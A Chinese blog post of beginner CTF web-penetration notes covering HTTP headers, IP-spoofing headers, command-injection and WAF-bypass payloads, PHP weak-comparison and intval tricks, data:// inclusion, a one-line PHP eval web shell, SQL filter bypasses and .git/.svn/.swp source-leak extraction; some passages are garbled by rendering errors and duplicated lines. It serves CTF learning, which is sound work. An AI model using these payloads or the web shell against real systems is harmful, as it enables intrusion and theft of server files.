web渗透基础知识,web学习入门必看

基础知识

robots

robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。

get和post

GET转化为POST需要加上Content-Type: application/x-www-form-urlencoded

get方式提交变量a=1,可以直接在URL输入框中输入http://111.198.29.45:40308?a=1,多个变量用&隔开,也可要数据包中GET/或GET/(有一些东西,现在我不知道)后面输入,格式一样

POST提交变量b=1,将GET转化为POST,再在最后一行加上b=2

常见的备份文件后缀名有: .git (这个不用加).svn .swp .svn .~ .bak .bash_history。前面要加上index.php

文件头

由关键字/值对组成,每行一对,关键字和值用冒号分享。请求头标通知服务器腾于客户端的功能和标识。
HOST: 主机或域名地址
Accept:指浏览器或其他客户可以接爱的 MIME 文件格式。Servlet 可以根据它判断并返回适当的文件格式。
User-Agent:是客户浏览器名称
Host:对应网址 URL 中的 Web 名称和端口号。
Accept-Langeuage:指出浏览器可以接受的语言种类,如 en 或 en-us,指英语。
connection:用来告诉服务器是否可以维持固定的 HTTP 连接。http 是无连接的,HTTP/1.1 使用 Keep-Alive为默认值,这样,当浏览器需要多个文件时(比如一个 HTML 文件和相关的图形文件),不需要每次都建立连接
Cookie:浏览器用这个属性向服务器发送 Cookie。Cookie 是在浏览器中寄存的小型数据体,它可以记载和服务器相关的用户信息,也可以用来实现会话功能。
Referer : 表 明 产 生 请 求 的 网 页 URL 。 如 比 从 网 页 /icconcept/index.jsp 中 点 击 一 个 链 接 到 网 页/icwork/search , 在 向 服务 器 发 送 的 GET/icwork/search 中 的 请 求 中 , Referer 是http://hostname:8080/icconcept/index.jsp。这个属性可以用来跟踪Web 请求是从什么网站来的。
Content-Type:用来表名 request 的内容类型。可以用 HttpServletRequest 的 getContentType()方法取得。
Accept-Charset:指出浏览器可以接受的字符编码。英文浏览器的默认值是 ISO-8859-1.
Accept-Encoding:指出浏览器可以接受的编码方式。编码方式不同于文件格式,它是为了压缩文件并加速文件传递速度。浏览器在接收到 Web 响应之后先解码,然后再检查文件格式。

cookie

Cookie是当主机访问Web服务器时,由 Web 服务器创建的,将信息存储在用户计算机上的文件。一般网络用户习惯用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 Session 跟踪而存储在用户本地终端上的数据,而这些数据通常会经过加密处理。

注:要抓包

Referer

Referer:这个属性可以用来跟踪web请求是从什么网站来的

User Agent

从微信6.0开始,其内嵌的浏览器在User Agent字符串中增加了NetType字段用于标识客户端(手机)

User Agent:是客户浏览器名称(根据使用者的手机、电脑、系统等不同,而变得不同)

xff

想要改变IP要加上: X-Forwarded-For: 192.168.247.1,并且将后面两个设置成为变量进行攻击

除了X-Forwarded-For: 127.0.0.1可以表示本地址这些也可以如果遇到关键字阻拦全部加进去就好了
1Client-IP: 127.0.0.1
2 Forwarded-For-Ip: 127.0.0.1
3 Forwarded-For: 127.0.0.1
4 Forwarded-For: localhost
5 Forwarded: 127.0.0.1
6 Forwarded: localhost
7 True-Client-IP: 127.0.0.1
8 X-Client-IP: 127.0.0.1
9 X-Custom-IP-Authorization: 127.0.0.1
10 X-Forward-For: 127.0.0.1
11 X-Forward: 127.0.0.1
12 X-Forward: localhost
13 X-Forwarded-By: 127.0.0.1
14 X-Forwarded-By: localhost
15 X-Forwarded-For-Original: 127.0.0.1
16 X-Forwarded-For-Original: localhost
17 X-Forwarded-For: 127.0.0.1
18 X-Forwarded-For: localhost
19 X-Forwarded-Server: 127.0.0.1
20 X-Forwarded-Server: localhost
21 X-Forwarded: 127.0.0.1
22 X-Forwarded: localhost
23 X-Forwared-Host: 127.0.0.1
24 X-Forwared-Host: localhost 25
19 X-Forwarded-Server: 127.0.0.1
20 X-Forwarded-Server: localhost
21 X-Forwarded: 127.0.0.1
22 X-Forwarded: localhost
23 X-Forwared-Host: 127.0.0.1
24 X-Forwared-Host: localhost
25 X-Host: 127.0.0.1
26 X-Host: localhost
27 X-HTTP-Host-Override: 127.0.0.1
28 X-Originating-IP: 127.0.0.1
29 X-Real-IP: 127.0.0.1I
30 X-Remote-Addr: 127.0.0.1
31 X-Remote-Addr: localhost
32 X-Remote-IP: 127.0.0.1

location

作用设置了之后无论访问什么最后都只会访问设置了的地址,如Location:1.php 。这时访问什么最后都只能访问1.php

1.根据提示,在url中输入index.php,发现打开的仍然还是1.php

2.打开火狐浏览器的开发者模式,选择网络模块,再次请求index.php,查看返回包,可以看到location参数被设置了1.php,并且得到flag。

例题

不能按的按钮要将get转化为post,并在最后一行加上auth=flag

域名与IP的区别

域名扫描只能扫描出来域名文件,而域名文件只是占服务器资源的一小部分;IP扫描可以直接扫描出来服务器的根目录,得到的信息更多;

命令操作和管道符

简单理解ping就是系统自带的一条命令,用来检测网络是否畅通的命令,而waf则是我们平常所说的防火墙,阻止一些恶意请求的。

掌握有关命令执行的知识:windows 或 linux 下:

command1 && command2 先执行 command1,如果为真,再执行 command2

command1 | command2 只执行 command2

command1 & command2 先执行 command2 后执行 command1

command1 || command2 先执行 command1,如果为假,再执行 command2 命令执行漏洞(| || & && 称为 管道符)

如127.1.1.1 | ls /,只执行ls命令:查看全部文件,|、||、&&、&这些符号的两边必须有且仅有一个空格隔开,cat和ls一样都是命令符,

写完它们之后,它们的两边也有且仅有一个空格,并且写完后要加上/符号

find / -name flag.txt,查找名字为flag.txt文件在哪里;127.0.0.1 &&find / -name “*.txt”,查找后缀为.txt的文件;127.0.0.1 &&find / -name flag*,查找文件名以flag开头的文件。

127.0.0.1|ls …/…/…/显示上上上级目录内的文件名。找到home文件,127.0.0.1|ls …/…/…/home 显示上上上级文件中的home文件下的所有文件名。

waf绕过

1、cat

绕过思路:用tac more nl **curl file://**等等替换。

实现:

cat flag.txt

tac flag.txt :与cat使用时效果一样

more flag.txt :与cat使用时显示效果不同。

会在前面加上路径,如::::::::::::::: /usr/local/lib/php/test/XML_Util/tests/RaiseErrorTests.php :::::::::::::: 查询的内容

nl flag.txt:与cat使用时显示效果不同。

会在前面加上1,如:1 查询的内容

骚操作
curl file:///flag 也行
bash -v /etc/passwd
date -f 好像可以越权读取文件

2、空格
//$IFS在linux下表示分隔符

$IFS
${IFS}
$IFS$9
$IFS$1

这两个也行
<
<>

//用逗号实现空格功能
{cat,flag.php}

//url传递,这个好像必须在php环境
%09

//这个就不用多说了吧
%20

环境变量

解释:

环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数,如:临时文件夹位置和系统文件夹位置等。比如path就是我们熟知的一种环境变量,是告诉系统,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还应到哪些目录下去寻找。

语法:

1. env命令:用来查看当前用户的所有环境变量;
如:?a=env
2. echo $环境变量名:直接查看指定环境变量的值;
如:?a=echo $FLAG
3. set:查看所有的本地变量(包含环境变量)。
set可以查本地变量和环境变量
如:?a=set

使用场景:

需看到语句:system($get_flag); 反正是能执行命令的语句

  1. 当题目明确告诉我们用环境变量时(没这么简单的题,一般配合其他漏洞使用)
  2. 一般看到system($get_flag);想到的是查看文件内容方面。但是当题目给了提示,如:flag文件可能不在根目录 之类的提示,我们可以先考虑环境变量,之后再考虑flag是否在除去根目录之外的其他目录

实现:

1、可以写get_flag=env,这时查看所有的环境变量

2、可以写get_flag=set,它不仅查询环境变量,而且查询本地变量,所以查询的内容比env多一些

3、也可以写get_flag=echo $FLAG,很明显第一、二种要好一点,

​ 第二种还要猜flag的环境变量名(注:环境变量名一般是大写的,所以一般是FALG),但是万一env不能使用可以尝试。

php弱比较

PHP是一种弱类型的语言,对于数字0和空字符串在进行布尔运算的时候都会转换为 false ; == 会自动转换类型然后进行比较,比如字符串 ‘0’ 和数字 0 比较的时候会返回true; 而对于 === 则会同时比较类型和变量值,若类型不相同也不会返回true; is_numeric() 函数用于检测类型是否为数字或数字字符串 所以当a为0且不会转换为false的就是字符串a,对于is_numeric(),12345a,末尾有英文字母或者%00,都可将他识别为不是数字,并且但进行12345a>1234比较时,会自动将12345a转化为数字进行比较。对于php,exit()直接退出;echo 应该是输出的意思

[NSSCTF - SWPUCTF 2021 新生赛]gift_F12 (ctfer.vip)

json_decode()可以对一串JSON进行解码,故需要构造payload为 {"x":"wllm"}之后:

JSON的值:
3.1 JSON的构成: ws 值
3.2值可以是对象、数组、数字、字符串或者三个字面值(false、null、true)中的一个。值中的字面值中的英文必须使用小写。
3.2.1对象由花括号括起来的逗号分割的成员构成,成员是字符串键和上文所述的值由逗号分割的键值对组成,如:

{"name": "John Doe", "age": 18, "address": {"country" : "china", "zip-code": "10000"}}

可以发现此时判断md5值是否一样用的是==,这是php的弱类型比较,
方法一: 可以使用带0e开头的数字穿进行传递参数,因为php会将0e开头的数字转化为0,故此时md5值相等,而两个变量值不相等;
方法二: 可以传递数组,如name[]=123,password[]=456,md5不能加密数组,故两个md5返回的都是null

另:若遇到===这样的强类型比较,方法一就失效了,方法二仍然有效,或者还可以使用软件fastcoll进行md5碰撞,生成两个字符串使得他们的md5值相同

wllm=var_dump(file_get_contents("/flag")) 或者 wllm=system("cat /flag");

方法一:浏览器使用HackBar插件直接POST wllm=cat /falg
方法二:使用burp修改请求,发送POST
方法三:使用菜刀/中国蚁剑链接,在模拟终端中cat /falg

另:cat命令

语法格式
cat [-AbeEnstTuv] [–help] [–version] fileName
参数说明:
-n 或 --number:由 1 开始对所有输出的行数编号。
-b 或 --number-nonblank:和 -n 相似,只不过对于空白行不编号。
-s 或 --squeeze-blank:当遇到有连续两行以上的空白行,就代换为一行的空白行。
-v 或 --show-nonprinting:使用 ^ 和 M- 符号,除了 LFD 和 TAB 之外。
-E 或 --show-ends : 在每行结束处显示 $。
-T 或 --show-tabs: 将 TAB 字符显示为 ^I。
-A, --show-all:等价于 -vET。
-e:等价于"-vE"选项;
-t:等价于"-vT"选项;

RCE漏洞,找eval函数的参数,这里为url

http://##.##.##.##:#####/?url=system(%22ls /%22);
就可以得知根目录下的所有文件
http:/##.##.##.##:#####/?url=system(%22cat%20/flllllaaaaaaggggggg%22);

%22指的是字符 ” ,%20指的是字符空格,system(“”);指的是要执行”“内的命令,就可以获得flag

本题知识点:phpinfo.php、git库泄漏

使用网站扫描工具(御剑后台扫描,dirmap等)扫描网站后台,发现存在…/.git目录,以及/phpinfo.php

方法一:进入/phpinfo.php,全文查找“falg”关键字,得到flag。
方法二:进入/.git目录,查看readme.md,获取flag。

preg_match()函数,如下,它会判断“/ /"(这个表示的是空格),在ip里面是否存在,如存在则为真

i p = ip= ip=_GET[‘url’];
if(preg_match(“/ /”, $ip)){
die(‘nonono’);
}

url=system(“ls /”),里面有空格,可以用${IFS}表示空格代替

$a= G E T [ " a " ] ; i f ( i s s e t ( _GET["a"]; if(isset( GET["a"];if(isset(a)&&(file_get_contents($a,‘r’)) === ‘I want flag’){ echo “success\n”; echo $flag;

利用data协议绕过 payload :?a=data://text/plain,I want flag。逗号后面的为a要等的值

data://也是PHP为协议的一种,通常可以用来执行PHP代码。用法 data://text/plain, data://text/plain;base64,

逗号后面跟变量要等的值

示例 data://text/plain, http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

data://text/plain;base64, http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

<?php @eval($_POST['cmd']);?>

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}变为O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

空格,等号 空格=>/**/ 等号=>like(使用方法:table_schema/**/like/**/‘test_db’%23)

substr(32),mid(20),使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid
# mid截取,因为回显只能有20个,所以20

星号(*):表示全部的意思。

select * from table_name;(查询表table_name中所有的数据)

百分号(%):表示通配任意N个字符

_ 通配任意单一字符

show variables like ‘character_set%’;(查询以character_set开头的所有字符集编码记录 )

show variables like ‘%table_names’;(查询以character_set结尾的所有字符集编码记录 )

信息泄露-备份文件下载

可以看:CTFHub技能树-Web-信息泄露-备份文件下载

vim

1、知识储备

(1).当vim在编辑文档的过程中如果异常退出,则会产生缓存文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn。
 
(2).使用命令vim -r 可以查看当前目录下的所有swp文件。
 
(3).使用命令vim -r filename可以恢复文件,这样上次意外退出并且没有保存的修改,就可以覆盖文件。
 
(4).调用这类的隐藏文件的时候,需要在最前面加.(如删除index.php.swp,则需要rm -fr* .index.php.swp).
 
(5).vim使用的缓存存储是一种固定的二进制文件,我们可以通过curl命令,或者vim命令进行查看。

注:访问时如果是被隐藏的文件,就需要在文件名前面加上’ . ',如:.index.php.swp。

​ 当然有些情况没有被隐藏直接:index.php.swp就行了

2、解题步骤

(1)、目录扫描获取文件

vim缓存文件后缀为:swp,swo,swn

实现:

python dirsearch.py -u http://challenge-5c10454346f3a1ed.sandbox.ctfhub.com:10800/ -e swp,swo,swn -t 5

(2)、访问下载 /.index.php.swp

(3)、将下载下来的文件在Linux系统中使用vim进行恢复和查看

vim -r index.php.swp 

bak文件

​ bak 是一个 备份文件 ,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。

例如:index.php变为index.php.bak

.DS_Store

​ DS_Store 全称 Desktop Services Store(桌面服务存储),是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

实例:CTFHub:DS_Store

实现:根据前面几题的经验,方法一致,在浏览器访问 . DS_Store 查看隐藏文件。发现浏览器下载了一个文件使用记事本查看发现一串后缀为 .txt 的可疑文件,使用 curl 命令检查一下这个可疑文件发现网页显示此题 flag 。

Git泄露

log

​ 当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

工具GitHack使用:python2 GitHack.py URL地址/.git/

git命令:

git log    #查看历史记录

解释说明:

​ remove flag 表示当前版本

​ add flag 表示这次提交的版本

​ init 表示初始的版本

使用git diff命令可以对比提交版本,对比这三个版本发现在add flag中获得此题flag

git diff <file> # 比较当前文件和暂存区文件差异 git diff

git diff <id1><id1><id2> # 比较两次提交之间的差异

git diff <branch1> <branch2> # 在两个分支之间比较

git diff --staged # 比较暂存区和版本库差异

git diff --cached # 比较暂存区和版本库差异

git diff --stat # 仅仅比较统计信息

实现:git diff 4f116709933b4392a3a3ec62a6d139112104a6d3

stash

前面的操作和log一样

git diff命令之后发现文件

使用:

git stash list	//查看被隐藏的文件列表

git stash pop     #恢复代码

git stash 保存当前工作进度,会把暂存区和工作区的改动保存起来

git stash save ‘hello world’ 使用save可以添加一些注释

git stash list 显示保存进度的列表

git stash pop 恢复最新进度到工作区,默认将工作、暂存区的改动都恢复到工作区

git stash pop --index 恢复最新进度到工作区和暂存区,尝试将暂存区的改动恢复到暂存区

git stash pop stash@{1} 恢复指定的进度到工作区

git stash apply [–index] [stash_id] 将堆栈中的内容应用到当前目录,该命令不会将内容从堆栈中删除

git stash drop [stash_id] 删除一个存储的进度。如果不指定stash_id,则默认删除最新的存储进度

git stash clear 删除所有存储的进度

git stash show 查看堆栈中最新保存的stash和当前目录的差异

git stash branch 在最新的stash创建分支

        注意: 使用 git stash pop 命令恢复进度后,当前进度会被删除 

index

使用git log还原

之后

git ls-files --stage     #查看index file 文件
使用cat 查看文件

注:也直接可以使用 git diff 得到

SVN泄露

​ 当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

dvcs-ripper工具使用:

./rip-svn.pl -u URL地址/.svn

得到泄露的文件

ls 命令的使用:

ls 显示不被隐藏的所有文件与文件夹
ls -a 显示当前目录下的所有文件及文件夹,其中包括所有被隐藏的文件和文件夹
ls -l 显示不被隐藏的所有文件与文件夹的详细信息,并成列表显示
ls -al 显示的所有文件与文件夹的详细信息,包括所有被隐藏的文件和文件夹,并成列表显示

HG泄露

​ 当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

和svn泄露一样,使用dvcs-ripper

./rip-hg.pl -u URL地址/.hg

得到泄露文件

tree命令使用

最简单使用:tree 文件名   将文件内所有的文件已树的形式展开

可以加一些参数:
-a 显示所有文件和目录。
-A 使用ASNI绘图字符显示树状图而非以ASCII字符组合。
-C 在文件和目录清单加上色彩,便于区分各种类型。
-d 显示目录名称而非内容。
-D 列出文件或目录的更改时间。
-f 在每个文件或目录之前,显示完整的相对路径名称。
-F 在执行文件,目录,Socket,符号连接,管道名称名称,各自加上"*","/","=","@","|"号。
-g 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码。
-i 不以阶梯状列出文件或目录名称。
-I 不显示符合范本样式的文件或目录名称。
-l 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录。
-n 不在文件和目录清单加上色彩。
-N 直接列出文件和目录名称,包括控制字符。
-p 列出权限标示。
-P 只显示符合范本样式的文件或目录名称。
-q 用"?"号取代控制字符,列出文件和目录名称。
-s 列出文件或目录大小。
-t 用文件和目录的更改时间排序。
-u 列出文件或目录的拥有者名称,没有对应的名称时,则显示用户识别码。
-x 将范围局限在现行的文件系统中,若指定目录下的某些子目录,其存放于另一个文件系统上,则将该子目录予以排除在寻找范围外。

实例:tree .hg

intval

如何绕过:

if($_POST['a'] != 114514 && intval($_POST['a']) == 114514)

intval()返回整数,而弱比较是可以返回小数的。所以这里传入a=114514.5即传入小数绕过

如何绕过:if(intval(KaTeX parse error: Expected 'EOF', got '&' at position 17: …um) < ``2020` `&̲& intval(num + 1) > 2021)`

传入num,num转数字要小于2020,但是num+1转数字大于2021

研究一下intval函数:

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
                            echo intval(1e10);                    // 1410065408
                            echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

主要看科学计算法

intval(1e2)=100

intval(‘1e2’)=1 因为这里字符串转时候只看前面的1了

而intval(‘1e2’+1)=101 这里先字符串转数字变成100再加1

注意这再php7无效

payload:?num=2e5

注:本文章借鉴了一些好的博客,如有不满请联系删除

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值